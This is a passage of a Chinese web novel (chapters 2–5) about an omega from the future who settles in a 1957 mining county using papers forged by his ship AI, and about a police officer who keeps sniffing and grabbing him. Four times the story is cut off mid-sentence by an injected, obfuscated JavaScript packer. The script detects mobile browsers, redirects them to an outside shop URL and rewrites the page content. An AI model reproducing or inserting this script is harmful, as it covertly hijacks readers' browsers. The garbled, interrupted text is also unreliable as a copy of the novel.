《omega在六零》 2. 第 2 章 正午时分,太阳高高挂在天上,阳光炽热刺眼。 楚虞穿一身不起眼的灰色休闲服,踩着牛皮短筒军靴,背着军绿色大书包,在破破烂烂的石板路上闷头行走。 前面不远处便是兴安县公安局。 穿着白色公安制服上衣的男人倚着墙,一双桃花眼微微眯了起来,饶有兴趣地看着楚虞越走越近。 楚虞:…… 楚虞目不斜视,走到公安局大门前,大着胆子问:“同志,请问迁户,就是办理户籍是在这儿吗?” 他说话声音清脆悦耳,但发音不太标准,像是有点地方口音,但能让人听得懂。 空气中隐隐约约不知哪儿带来一股玫瑰花香。 男人深吸了一口气,目光迷惑四处张望,最后视线下移,盯住了楚虞。他语气漫不经心的,“办迁户啊?” “对。”楚虞点头,严肃着脸,努力制造出一副生人莫近的气场。 原因无他,男人个头明显比他高,瞧着有一米八了,皮肤被晒成健康的小麦色,一头短寸,剑眉星目鼻梁高挺,看起来年轻英俊。 但楚虞不能忽略他白色公安制服下隐隐露出的肌肉曲线,以及他肆无忌惮上下打量自己的目光。 二者叠加,这很容易让楚虞感到不安。 就像Alpha总是让omega感到不安。 兴许是天气太热阳光太晒,楚虞变得有点焦躁,试图绕过眼前气势过强让omega讨厌的男人,直接踏进公安局大院。 两人擦肩而过,只听男人慢吞吞开口指路,“进去左拐,第二个办公室办户籍。” 楚虞微不可查的松口气,想也不想礼貌回复,“谢谢。” “哦,不用谢。”男人似乎被楚虞绷着脸的模样逗乐了,噗嗤笑出声,跟着楚虞一块走进公安局。 “玉珍姐,有人办户籍!”男人去隔壁喊。 “哎,找我呢。” 话音刚落,有人风风火火从隔壁办公室跑了出来,是三十岁左右的年轻女性,齐耳短发,圆圆脸,笑起来脸颊两侧有梨涡,面相很是讨人喜欢。 乍然看到院子里的楚虞,万玉珍明显愣了一下。 眼前的小少年看起来十七八岁,高高瘦瘦挺拔如松,皮肤白的亮眼,头发乌黑微微带着自然卷,一双黑眼珠像葡萄似的。 多少年没见过这么标志的小少年了。 她暗暗赞叹,目光不留痕迹扫过楚虞的衣着,看起来面料崭新没有半点打补丁的痕迹……条件应该不差。 收回视线,万玉珍手里拿着织一半的毛衣针线,一边进户籍室一边热情招呼,“快进屋快进屋,外头大太阳晒死个人。” 走进户籍室,一阵凉意扑面而来。 屋里开着电风扇,像是年久失修,偶尔传出吱呀吱呀卡壳的扇叶声。 户籍室不大,两张办公桌红漆斑驳,后面是木头柜子,档案册塞的满满当当。 “办户口是吧,有迁户证明吗?”万玉珍放下毛衣针线,转了身嗓音利落。 楚虞把008提前准备好的迁户资料递过去,面上淡然,心里却禁不住有点紧张。 这户籍是008假造的,天知道能不能过关呢。 万玉珍接了资料回办公桌坐下,仔细看了看,语气诧异,“哎呀,从上海迁来的呀,要去淮山二矿?” “对,”楚虞唯恐多说多错,多余的字眼一个都不提。 “这资料倒是挺全的……”她语气似乎有点为难。 迁户嘛,倒是不奇怪。 这两年兴安县大办煤矿,就在附近那片荒山坡,从无到有,先是淮山一矿,紧接着是淮山二矿,搞的是如火如荼。 为了煤矿开发,上头省委抽调了大量干部、工人支援淮山建设,各路施工队伍和数万民工都涌过来了。 随之而来的结果,便是大量的外来户口迁至兴安县淮山。 但那都是去年的事儿了,集体迁户是上头专门打过招呼的,人员登记花名册写的清清楚楚,办手续当然顺利。 很少会有单独一个人主动申请迁户去淮山,还是来自上海,未免太远了一些…… 出于职业本能,万玉珍觉得不大对劲,看了一眼楚虞,不动声色道:“同志,你在这等等,我去请示领导啊。” 楚虞稳住不慌,点点头,看着万玉珍急匆匆出了办公室。 …… 公安大院里,男人端着搪瓷缸仿佛幽灵般再度出现,伸脚挡住了人,“怎么出来了,不是给人办迁户?” 万玉珍心底揣着事,正忙着呢,差点被他绊一脚,没好气的骂,“谢磐石!你犯病了找别人疯去,我可忙着呢,让开。” 谢磐石哦了一声,淡定侧身让路,就见万玉珍脚步匆匆直奔局长办公室。 不就是办个迁户,至于找刘局请示吗? 谢磐石对此不感兴趣,皱了皱鼻子,仿佛狗一样的追着空气中似有似无的玫瑰花香,最后来到了户籍室…… 他沉默一瞬,探头看一眼屋里乖乖坐着的楚虞。 恰好和他目光对视的楚虞:“……” ——看什么看,看什么看,就你闲得没事到处瞎看! 实不相瞒,楚虞莫名的有点怕他,omega趋利避害的直觉一般不会出错。 想到这里,楚虞绷着脸不主动打招呼,也不跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536297|203828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人说话。 谢磐石看着他微微鼓起的两颊,视线飘忽,不知怎么想到了关在笼子里养的肥嘟嘟睡得打呼噜的土狗崽子。 这想法让谢磐石眼里透出笑意,他走进办公室,手里正冒着热气的搪瓷缸“砰”的一声放到桌上。 忽如其来的声响,吓得桌对面的楚虞愣是抖了一下。 谢磐石脸上微微笑,很是无害的模样:“给你泡了茶,请喝茶。” 楚虞:“……” 楚虞垂眼瞥那搪瓷杯,杯子整体呈白色,侧面印着大红标语“劳动者光荣”,杯口描着一圈鲜红的釉上彩,嘴唇常碰的那一块,红漆早已磨得干干净净,露出灰白的底色。 楚虞盯着那块脱色的地方,心想这杯子得用了多久?又或者说,不知道被多少人用过,天天对着同一个位置喝…… 楚虞多少有些洁癖,眉头紧皱,悄悄把视线移开了。 谢磐石像是看出了他的想法,认真强调:“这是我自己喝水用的搪瓷杯,没有别人用。” “……”这有什么区别吗。 楚虞拒绝喝茶,眼观鼻鼻观心,继续当哑巴。 谢磐石笑了,迈着长腿慢悠悠地绕过办公桌,忽然倾身靠近楚虞。 “你干嘛?”楚虞被他吓一跳。 只见谢磐石终于露出真面目,陡然抓住楚虞的衣领,挺拔的鼻梁本能地贴近楚虞脖颈,像只大狗四处嗅闻。 “我就说在院子外头不是错觉,你身上好香,好香的玫瑰花香,好香……” 听到这话,楚虞整个人都呆住了——他自己的信息素味道确实就是玫瑰花香。 离开飞船前楚虞专门恶补过1957年的时代认知,这时候的人类尚未进化,没有abo六种性别,自然不可能闻到omega信息素的味道。 008也斩钉截铁告诉他,从今往后出门没有必要再给后颈贴信息素抑制贴,因为这年代的普通人类绝对闻不到楚虞身上的玫瑰花香! 楚虞先前在街道上磨磨蹭蹭走了半晌,身旁路过了不少人,男女老少都有,确实没有一个人对他身上的信息素有反应。 可是——! 眼前这个嗅来嗅去的神经病到底是怎么回事? 楚虞气得咬牙,恶狠狠推开男人的狗脑袋,佯装无辜无知的语气,“你在说什么,什么花香?” 谢磐石有生以来头一次,沉迷浓郁玫瑰无法自拔,几乎快要把人禁锢到怀里了,“好香……你自己闻不到吗,是玫瑰花香。” “你有病吧!”楚虞死不承认,愤怒挣扎,“放开我,我闻不到!” “别动!让我多闻闻。” …… 3. 第 3 章 那一头,局长办公室。 万玉珍讲了楚虞迁户的来由,“……领导,您看这迁户手续,能办吗?” 刘局捏着递过来的迁户证明也是满头问号,心想上海那地方多好,是城里的好日子过的太腻歪,挖煤吃苦来啦? “上海来的?主动支援淮山建设?” 万玉珍悄声,“是呢,上海离得远,我担心这证明有问题。” 刘局不以为然,摆摆手,“这简单,他这不是写着上海哪个街道办的具体地址吗?直接打个电话问问。” 公安局传达室有安装电话,电话辗转几道拨过去,并不是立马就能联系上当地街道办的办事人员,要等对面的接电员去喊人。 足足等了十来分钟,电话终于拨回来了,对面不出意外地响起一道冷冰冰的机械质感嗓音,“同志,您好,有什么事?” 这嗓音怎么听着怪怪的。 万玉珍看了一眼话筒,没再多想,开口问楚虞迁户的事情。 公安局上空,飞船无声无息在天上隐形悬浮,008掐着虚拟电话线,模仿当地上海人说话,“那谁晓得嘞?伊看到报纸上的文章,讲啥个淮山二矿搞了轰轰烈烈,一定要去支援建设……” 008满嘴胡言:“阿拉劝阿劝过了,呒没用场,硬劲要去,侬拉看着办,户口接收好唻……放心放心,人没问题个,阿拉看着长大个,皮肤雪雪白,头毛卷卷个,样子标致,呒没人冒充得来……” 挂断电话,万玉珍止不住翻白眼,“上海人了不起啊,前面说的还能听懂,后面就讲你们上海本地话了,听着费劲。” 电话那头说楚虞皮肤雪白,头发带着自来卷……万玉珍想了想楚虞那张漂亮出众雌雄莫辨的脸,心想确实如此,旁人想冒充也冒充不来啊…… 确认了户籍来源地没问题,她多少松了一口气,只要不是搞破坏的可疑分子,怎么着都行。 这两年兴安县淮山煤矿开发,年产量上来以后,搞得越来越红火,甚至有段时间天天上报纸,上头省委的领导隔一阵就下来视察……引来了不知多少关注。 公安局派发下来的红头文件也是隔三差五强调,严打期间,严禁破坏,保证生产! 出了传达室,热浪扑面而来。 万玉珍擦了擦脑门上的热汗,又是风风火火跑回办公室。 屋里沉迷玫瑰的谢磐石耳朵微动,听到越来越近的脚步声,蓦然松开了怀里挣扎扑腾的楚虞。 楚虞挣扎的劲儿还没收,被他猛然松手,踉跄地就要往地上摔去。 谢磐石及时扶住他的腰,嗓音低不可闻,“小心一些,玫瑰花。” “……”去你大爷的玫瑰花。 楚虞气得浑身发抖。 万玉珍踏进办公室,就见谢磐石毫无公职形象懒洋洋地歪坐在椅子上,楚虞则是冷着脸远远地坐在屋子另一角,仿佛躲狗似的。 左看看右看看,万玉珍一时摸不着头脑,“楚虞同志,你没事吧?” 楚虞勉强笑笑,一心想着办完落户手续逃离公安局,“没事,我户口能办了吗?” “当然能,你再坐着等会儿啊,很快的。” 万玉珍手脚麻利翻出库里的档案册,登记户籍,迁移盖章,接下来楚虞的迁户手续办的很顺利。 “楚虞同志,我这儿手续差不多了,”万玉珍热情招呼,“你拿着这些证明,再去淮山二矿街道办,找一个叫葛婶儿的,有她帮你办粮食关系,安排你住哪儿……” 见楚虞听得满脸迷茫,万玉珍反应过来,猛拍大腿,“楚虞同志,你在这儿人生地不熟,不认识路吧,需不需要我找个人给你带路? 楚虞:“啊不用——” 话还没说完,万玉珍没好气伸手,指着桌对面坐没坐相的谢磐石,“就你了,帮楚虞同志带个路。” 谢磐石当即乐了,“行啊。” 楚虞巴不得离谢磐石远远的,当即黑了脸,“谢谢,我不需要带路,我可以自己问路!” “没事儿,走呗。”谢磐石心眼儿坏,仗着个高腿长,抬起胳膊就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536298|203828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往楚虞肩上压,勾肩搭背地把人从办公室拖了出去。 楚虞又一次落到谢磐石手里,震惊到半晌回不过神。 光天化日朗朗乾坤! 怎么能有人不要命了胆大包天欺负omega?天眼系统呢,omega保护协会呢,快来抓流氓啊,关他十年八年! 然而残酷的现实摆在了眼前,1957年并没有无处不在的天眼系统,也没有omega保护协会。 楚虞欲哭无泪,挣扎不过谢磐石的力气,他浑身僵硬,隔着一层薄薄的衣衫,男人身上炽热的体温传递过来,仿佛烫的他后颈腺体也开始发热。 “你、你放开!”楚虞挣扎抗拒。 出了公安局大院,谢磐石没再勾肩搭背,顺势放开了楚虞,语气幽幽的,“我看你和万玉珍说说笑笑,挺讲礼貌,怎么见了我就爱搭不理的?咱们今儿第一次见面,怎么着,我哪儿招你生气了?” 这还用问?哪有你这样上来就不要脸耍流氓、闻omega玫瑰花香! 臭流氓。 楚虞暗暗唾弃他,没说话,闷头向前走。 谢磐石憋着笑,“回来回来,路走反了,淮山二矿街道办在这边呢。” 楚虞脚步顿住,深吸一口气,转了身往回走。 路上太阳高照,晒得人身上渐渐冒汗,脚下破破烂烂的石板路仿佛都是烫的。 楚虞热得烦躁,他在温度适宜环境非常舒服的飞船上呆惯了,可能短时间内不太适应这个时代的盛夏高温天气。 在这样的高温天气下,楚虞能闻到空气中一股浓烈的、芬芳馥郁的玫瑰花香,像无数朵玫瑰同时在鼻尖绽放,宛若置身花海。 ——玫瑰花香,这是独属于楚虞的omega信息素的味道。 楚虞从小到大习惯了自己身上的玫瑰花味,并不觉得稀奇,甚至习以为常。 然而他身旁的谢磐石仿佛脑子有大病,一边走一边闭着眼深深陶醉其中,“好香好香,宝宝你好香……” 楚虞:“。” 4. 第 4 章 淮山二矿街道办。 一排红砖新砌成的平房,其中一间,门口挂着二矿街道办公室的木片招牌。 “您好,请问街道办的葛婶儿是在这里吗?”楚虞礼貌打听。 办公室里头,葛翠芝正坐在工位上纳着千层底,闻声当即抬起了头,“哎找我是吧,在这儿在这儿……” 楚虞走进房间,佯装腼腆地笑了笑,开门见山,直接把刚才在公安局办好的落户资料递了过去。 “葛婶您好!我是楚虞,来支援咱们淮山二矿建设的!公安局办户口的同志叫我来这儿,说是您给安排……” 葛翠芝听得满头雾水,把资料接到手草草翻看两页,从上海迁来的户口,今天刚把粮食关系落到了淮山二矿街道。 到了淮山二矿街道,那楚虞确实是归她安置…… 葛翠芝抬起头来,目光闪烁打量楚虞,方才尽顾着看手上的迁户资料,没注意楚虞的样貌,如今一看才发觉眼前一亮,高高瘦瘦唇红齿白,皮肤简直白的发光…… 楚虞被她打量的不大自在,他自幼不喜欢和人打交道,从前在福利院是没得选,必须和老师同学友好社交,维持良好的社会关系,否则独来独往的性子更不利于他日常生活。 自从十六岁毕业,他上了飞船高高兴兴做荒星巡航员,连续三年在宇宙独自航行,更是养成了远离人群不爱社交的孤僻性格。 楚虞不安地双手交握,忍不住出声催促,“葛婶儿,我的手续能办吗?” 葛翠芝顿时回神,“能能能,我这就给你办。” 她说话明显带着兴安县当地的口音,是本地方言,这让楚虞听着有点费劲,但认真听,勉强能听得懂。 好在不是所有人说话都是难懂的方言,比如方才公安局办户籍的万玉珍,还有谢磐石,两人都是一口标准流利的普通话。 也不对,楚虞悄悄斜眼,看向了身旁面无表情一言不发的谢磐石……谢磐石说话其实带点不同于兴安县的口音,就是不知道是来自哪个地方的口音了。 那一头葛翠芝开始忙活,粮食关系不难办,淮山二矿街道办成立不到两年,算是东凑西拼拉拔起来的草台班子,一应手续没那么正规复杂。 她这边街道办登记存档,从抽屉里拿出新的粮油供应本——也就是两个本本,粮本和副食本,分别填上楚虞的基本信息,再去县里的粮管所、商业厅走一圈。 确认楚虞每月应当发放的定额粮以及日用品比如洋火柴肥皂有多少…… 统购统销,计划分配。 不过城镇户口每月定额粮和日用品的发放份额,和本人是否工作以及工种待遇挂钩。 填到楚虞的基本信息,葛翠芝犯了难,面色发愁,这工作岗位和具体住址该怎么填呢? “楚虞同志,你是来支援淮山二矿建设的,咱们二矿热烈欢迎,就是这情况……” 淮山二矿是缺人,煤洞越挖越多,只要运出来的原煤越多,年产量也就越高。 也因此,为了维持矿山产量,煤洞里少有消停安静的时候,工人们三班倒,白天黑夜挖煤运煤,脱了衣服浑身上下都是黑炭,只有牙是白的。 几乎是煤灰腌入味了。 就这,矿长三天两头还嫌人不够用呢。 淮山附近生产大队的村民,若是农闲没事干,只要吃得了下洞挖煤的苦,也能去下洞,挖多少按多少结算钱,挣的都是辛苦钱,当然这待遇指定比不上正式工。 要想当淮山二矿的正式工,哪有这么容易? 没个人情关系,任何人来了都得从临时工做起,先根据工作表现考察个一两年,这就筛掉了不少人,毕竟不是所有人都吃得了下洞挖煤的苦,还危险,时不时出个塌方事故…… 临时工的考察期过了,再看转正名额有几个,分配给谁,这又是以后另一档子的事了。 葛翠芝絮絮叨叨讲了不少。 越是讲的多,她脸色越是为难,看楚虞脸蛋白白净净目光懵懂清澈的模样,这身上穿的衣服没有一处打补丁,想必家里条件不错,从小到大没吃过苦。 大城市里出来的孩子,怕是连矿山都没见过,仅仅凭着一腔热血满心期待来到兴安县,他哪里知道下洞挖煤有多苦有多累?又能坚持几天呐? 可是不让他下洞挖煤,安排去二矿机关科室也不成,那岗位都是香馍馍,一个萝卜一个坑,要么有技术有本事,要么就是关系户。 葛翠芝有点替楚虞发愁。 要不,先不给楚虞办粮食关系,她厚着老脸和矿长说一声,让他去矿山下洞挖煤,体验几天吃吃苦,兴许他知难而退就改了主意,想回上海了呢。 没等葛翠芝把这个想法说出口,楚虞便点头答应道:“可以的,我愿意从临时工做起,先下洞挖煤。” 离开飞船之前,008也和楚虞苦口婆心讲解了一遍,去了淮山二矿就得从临时工做起,下洞挖煤是很苦很累,但苦不到楚虞——因为他有来自未来的高科技金手指! 当然,这些就不能对外说起了。 见楚虞态度坚决,葛翠芝瞪眼,“真想好了啊,这下洞挖煤没你想的那么容易……” 楚虞笑笑,拿出008提前教给他的说辞,提高了声音响亮道:“干革命嘛,哪有不吃苦不受累的?都是为了支援矿山建设!” 说罢,楚虞抬起一只手,用力握拳,做足了一副下定决心不怕苦不怕累的傻缺模样。 葛翠芝:“……” 谢磐石:“……” 饶是谢磐石全程面无表情不发一言,这会儿也变得神色复杂,看楚虞像是看狗。 玫瑰味的小蠢狗。 葛翠芝没法子了,低下头,拿钢笔给崭新的粮本副食本上填了楚虞在二矿临时工的岗位,至于住址…… “咱矿上去年建了集体宿舍,临时工也能住。不过嘛条件有限,人多,房间不够,是大通铺,几十个汉子挤一块睡——” 话还没说完,就见楚虞瞳孔震惊,仿佛天塌了一样,脸色极度抗拒,“不可以!我不能接受和别的男人挤着睡!” “……”葛翠芝眼角抽抽,“集体宿舍也没那么差,就是住的人多,挤了点,那附近还有新修的大众澡堂呢,就算是临时工也能每个月免费领一张澡票,进去洗洗煤灰。” 楚虞丝毫不为之所动,他可以睡飞船,也能在飞船上天天洗澡! “谢谢!但我不需要你们安排宿舍床位了,”楚虞无比认真道,“这绿本本上的住址先不填,等回头我在附近找到合适的租房,再补上行吗?” “当然行。”葛翠芝笑了笑,站起身去看外头的天色。 这会儿太阳高照,估摸着是下午一点多两点,还早呢,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536299|203828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚虞去矿山见见矿长,接下来的工作安排就归矿长管了。 依着矿长雷厉风行的做事风格,兴许楚虞当天就能跟着带班师傅下洞,学习如何挖煤了呢。 什么,上岗前的理论培训、安全培训呢? 拿铲子凿煤、挖煤、用背筐运煤这种活儿还需要培训教吗?跟着老师傅下洞做一遍就能直接干了,不需要一丁点技术门槛。 至于安全培训,1957年没有安全意识。 煤矿建立不到两年,条件有限设备采买艰难,连工人下洞的探照灯都没法配备齐全了,更何况其他呢。 矿山井下的工作不止挖煤这一项环节,还包括打眼、放炮、支护……不过这些更复杂更专业的工作环节,就需要楚虞以后慢慢学了。 总而言之,下了洞,先从最简单、最苦最累的挖煤运煤开始做起。 “楚虞同志,我带你去二矿见见矿长。”葛翠芝转头招呼。 然而楚虞不着急立马上岗工作,“葛婶,我明天一大早再来找您行吗?一会我还有其他事要忙,另外还要找找附近哪里可以租房……” “也行,”葛翠芝沉吟道,“这街道附近的左邻右舍我都熟,一会忙完正事,我也出去帮你打听打听,看看哪里有空置的房子出租。” 说是这么说,葛翠芝并不抱有希望,这年头家家户户挤着住,哪里有空房可以出租呢。 说罢,她没忘记问楚虞,关心道:“今晚你有住的地方吗?” “有呢,我住——我住招待所!”楚虞擦擦汗,差点忘记这年代提供住宿的地方叫招待所。 听他说住招待所,葛翠芝摇头叹气,果然是不当家不知柴米油盐贵,招待所住一晚最便宜的也要五分钱呢。 五分钱拿去粮店都能买一斤糙米了。 再想想自家情况,一大家子八口人,两间房挤得满满当当,是腾不出来半点地方收留楚虞住一晚了。 葛翠芝表示爱莫能助,“楚虞同志,你先忙,我也赶时间去粮管所跑腿给你办粮食关系呢,这样明天一早把粮本副食本交给你,也方便你去矿上食堂兑买饭票。” 说到饭票,楚虞忍不住舔了舔唇,摸摸饥饿难耐的肚皮。 他今天还没吃饭呢。 和葛翠芝道了别,离开淮山二矿街道办,楚虞迷茫地走在路上,只觉越走越饿,肚子饿得咕咕叫。 好饿。 没钱吃饭怎么办。 他暂时没心思去琢磨怎么搞钱,只想立刻马上,吃饭!吃饭!吃饭! 这不能怪楚虞一心惦记吃饭,因为前面不远处出现了“国营饭店”的大字招牌…… 听说这年头下馆子光有钱没用,还要粮票。 楚虞没钱没粮票,目光飘忽,看向了身旁一直跟着他、沉迷玫瑰花香寸步不离的冤大头·谢磐石。 ——宇宙公认名言名句:人在面临极度饥饿的时候,总是能轻易放下一切恩怨。 楚虞决定暂时不计较谢磐石对他耍流氓的事儿了(^~^) 危机时刻,omega能利用一切,包括用美貌换取白吃白喝一顿。 生怕谢磐石看不懂,楚虞停下脚步,咳了咳,先是瞟男人一眼,再瞟一眼远处的国营饭店,最后抬起手十分明显地摸了摸饿得咕咕叫的肚皮。 接收到微妙暗示的谢磐石:“………” 5. 第 5 章 谢磐石觉得自己脑子进了水,才会答应楚虞请客吃饭。 兴安县国营饭店。 刚走到门口,空气中葱花炝锅的香气扑面而来,楚虞忍不住深吸一口气,馋的口水都快出来了。 好香好香,什么饭闻着这么香? 不怪楚虞无知。 在未来星际时代,人类饭桌上摆的大多都是营养液,科技合成营养全面,价格低廉口味多样,备受大众欢迎。 楚虞喜欢吃西瓜味、葡萄味、芒果味的营养液,随便挑一样,和蒸软的沙豆拌一块吃,别提多香了。 当然,价格更加昂贵的天然蔬菜炒菜之类他不是没试过,比如番茄炒蛋,看着卖相极好,实际上寡淡无味,吃到嘴里仿佛嚼纸皮嚼不烂的奇怪口感…… 再比如烤乳猪,烤得表皮焦脆滴油,吃到嘴里,仍然是熟悉的纸皮嚼啊嚼不烂的口感…… 让人无比失望抓狂。 自从楚虞做了荒星巡航员,挣了大钱,斥巨资试过七八次所谓的“饭菜”以后,老老实实回归顿顿营养液的大众生活。 曾有搞农学以及畜牧养殖的专家教授痛心疾首在星网上公开吐槽,痛骂千百年前的人类不该离开蓝星,不该离开太阳系,导致带出来的初代种子在不合适的星球土壤上一致长成了千奇百怪的口感…… 瓜没瓜香味,猪没猪肉味……要知道曾经的华夏是举世闻名的美食大国……! 想到这儿,楚虞舔了舔唇,越发期待地跟上谢磐石的步伐,走进国营饭店。 眼前的饭店很是简陋,地方并不大,大厅里摆着十几张破旧小方桌,零星坐着七八个穿矿山蓝色劳动工服的工人,饭店前台的服务员热得直摇扇子…… 来到前台,楚虞仰起脑袋,认真看向黑板报上的价格表: 一个烧饼七分钱。 一个大肉包子一角钱。 一碗素汤面一角四分钱。 …… 楚虞认字认得磕磕绊绊,一水的菜单价格基本上全部顺利地看下来了。 哇。 完全没有熟悉的营养液! 看着各式各样的菜名,楚虞急得不行,上手抓住谢磐石的公安制服,怎么办,每一个都没吃过,每一个都想尝一尝。 不等他狮子大开口,就见谢磐石面无表情,敲了敲前台桌子。 服务员起初头也不抬,仍然哗哗摇着扇子,态度嚣张不客气,“要吃什么菜,自己看黑板报。” 谢磐石不吱声。 服务员纳闷抬头,乍然看清谢磐石的脸,吓得手里的扇子都飞了,当即跳起来热情招呼,“哎呀谢公安,好久不见,今儿来下馆子啊?” 谢磐石脸色不渝,淡淡地嗯了一声。 两人明显认识,兴安县就这么大,方圆几十里只有一家国营饭店,多下几次馆子,怎么着也能混个脸熟。 服务员是个年纪不大的小丫头,见到谢磐石不禁暗暗叫苦,心想这煞神平均一个月下馆子三四次,前天不是刚吃过一顿嘛,怎么这么快又来? 她是怕了谢磐石了。 自打去年夏天谢磐石调来兴安县,第一次去国营饭店吃饭,他没穿公安制服,她有眼不识泰山,态度爱搭不理及其嚣张傲慢! 然后,然后就被谢磐石抓进局里关了一下午。 小丫头哭得眼睛都肿了,自此洗心革面重新做人,在饭店前台老老实实热情服务。 就今儿难得一次犯了老毛病,天太热,上班让人烦躁! 她胆战心惊,动作麻利去拿铅笔纸本,笑得牙不见眼,“谢公安,您想吃什么?我给您记!” 谢磐石半靠着前台,熟练点餐:“一盘醋溜土豆丝,一碗红烧肉,两碗黄米饭,三个白面馒头。” “谢公安,今天店里没供白面馒头,只有烙饼。” “那就三张烙饼。” “行,那我去厨房和老师傅催一声啊。”话音落下,人就撒腿跑了,仿佛屁股后头有狗追。 楚虞看得一愣一愣。 三分钟过后,小丫头带着露出八颗牙齿的标准笑容回了前台,谢磐石掏钱掏粮票。 楚虞满满期待,一双漂亮的眸子亮晶晶的,敬仰地看着谢磐石从裤兜里掏钱。 在他期盼敬仰的目光下,谢磐石掏钱的动作微微一顿,眼角抽了抽,不知道为什么,总有一种上当受骗被宰的冤大头感觉。 再一次懊悔,十分钟前他一定是昏了头,才会答应请客吃饭! 这被宰的感觉实在不妙。 谢磐石是退伍转业的公安,副处待遇,拿22级工资,每月工资加上各项津贴补贴、烈士遗属补贴等等,加起来八十多块,确实不缺一顿请人下馆子吃饭的钱。 他掏出厚厚一沓花花绿绿的票子,面值十元的,五元的,一角两分五分的…… 小丫头噼里啪啦算账,“谢公安,一共三块六,搭半斤的细粮票。” 楚虞看着谢磐石交了对应的钱,又抽出一张写着0.5市斤的细粮票,想来这就是1957年的细粮票了。 吃饭都要搭粮票……回头上了飞船,他得继续恶补各类票证的常识! 交了钱票,点的饭菜还要等一会才能上齐,谢磐石准备找个桌椅坐下等,谁知没走成,衣摆被某人悄悄地拽住。 “……”谢磐石顿时感觉不妙。 omega继续发挥美貌优势,一双仿佛沉满星河的漂亮眸子,殷切渴慕地看过来。 他嗓音低低的,软乎乎撒娇道:“你好像还有多余的钱,可以再点两个菜吗?” “……” “想吃大肉包子。”楚虞指着黑板报,嗓音软乎乎的开始提出加餐。 “……” “凉拌黄瓜、梅菜扣肉。” “……” “酸菜鱼——” 话音未落,小丫头打断楚虞,友好提醒道:“不好意思这位同志,今天食堂没有酸菜鱼,不供应。” 楚虞顺从地“哦”了一声点点头,准备再点个其他的,然而谢磐石已经上手捂住了他的嘴。 谢磐石面无表情,“行,再加一个大肉包子,一碟凉拌黄瓜!”便宜。 楚虞唔唔抗议,着急跺脚,漏了漏了,还有梅菜扣肉。 见他这么激动,谢磐石沉默片刻:“……再来一小碗梅菜扣肉。” 小丫头眼神飞快地瞄来瞄去,没敢多嘴,“好嘞,谢公安,这就给您算账!” 最后,谢磐石又付了两块一,搭4两粮票。 两人找了角落的方桌坐下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536300|203828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 楚虞不高兴地提出意见,“你下次有什么可以先跟我讲,不要直接动手动脚。” 上来就捂omega的嘴,毫无距离感毫无分寸。 臭流氓! 谢磐石不惯着他:“怎么说话呢,我怎么动手动脚了?” 楚虞做了个捂嘴的动作,目光谴责,看他仿佛看流氓。 谢磐石脸上微微笑,虽然他沉迷玫瑰花香,但脑子还在,没丢。“首先,你不是女的,咱两都是同性,我就是扒了你的裤子也称不上是动手动脚耍流氓。” “!” 楚虞害怕地捂住自己裤腰。 谢磐石不动声色瞄了眼楚虞的腰:“……其次,我正在请你吃饭,这一顿饭花了将近六块,据我所知,工厂里的学徒工一个月也就挣十八块的工资……” 也就是说,一顿饭花掉了普通学徒工工资的三分之一。 楚虞瞪圆了眼。 谢磐石谴责的目光看向他,语气幽幽,“你们人类常说吃人嘴短,难道这时候的你不该对我巴结客气点吗?” “……” 看在吃人嘴短的份上,楚虞哼了一声,没再反驳说话。 请他吃饭怎么啦,omega靠美貌换来的一顿饭,吃的理直气壮。 很快,前台的服务员小丫头热情地端来一碟凉拌黄瓜,一盘醋溜土豆丝,以及两碗满得冒尖的黄米饭。 “谢公安,您慢用,剩下的菜做好了我就给您端过来!” “嗯。”谢磐石开始动筷。 楚虞迫不及待夹菜,“黄瓜黄瓜,唔!” 不同于星际时代的嚼纸皮嚼不烂的口感,1957年的凉拌黄瓜入口脆爽,酸辣开胃,吃得让人想闭上眼睛慢慢享受。 楚虞一边埋头大吃一边快乐地几乎难以抑制,“醋溜土豆丝!唔好吃好吃!” “真好吃!” 不一会儿,剩下的菜也一块上齐了。 色泽鲜亮、酱香浓郁的红烧肉。 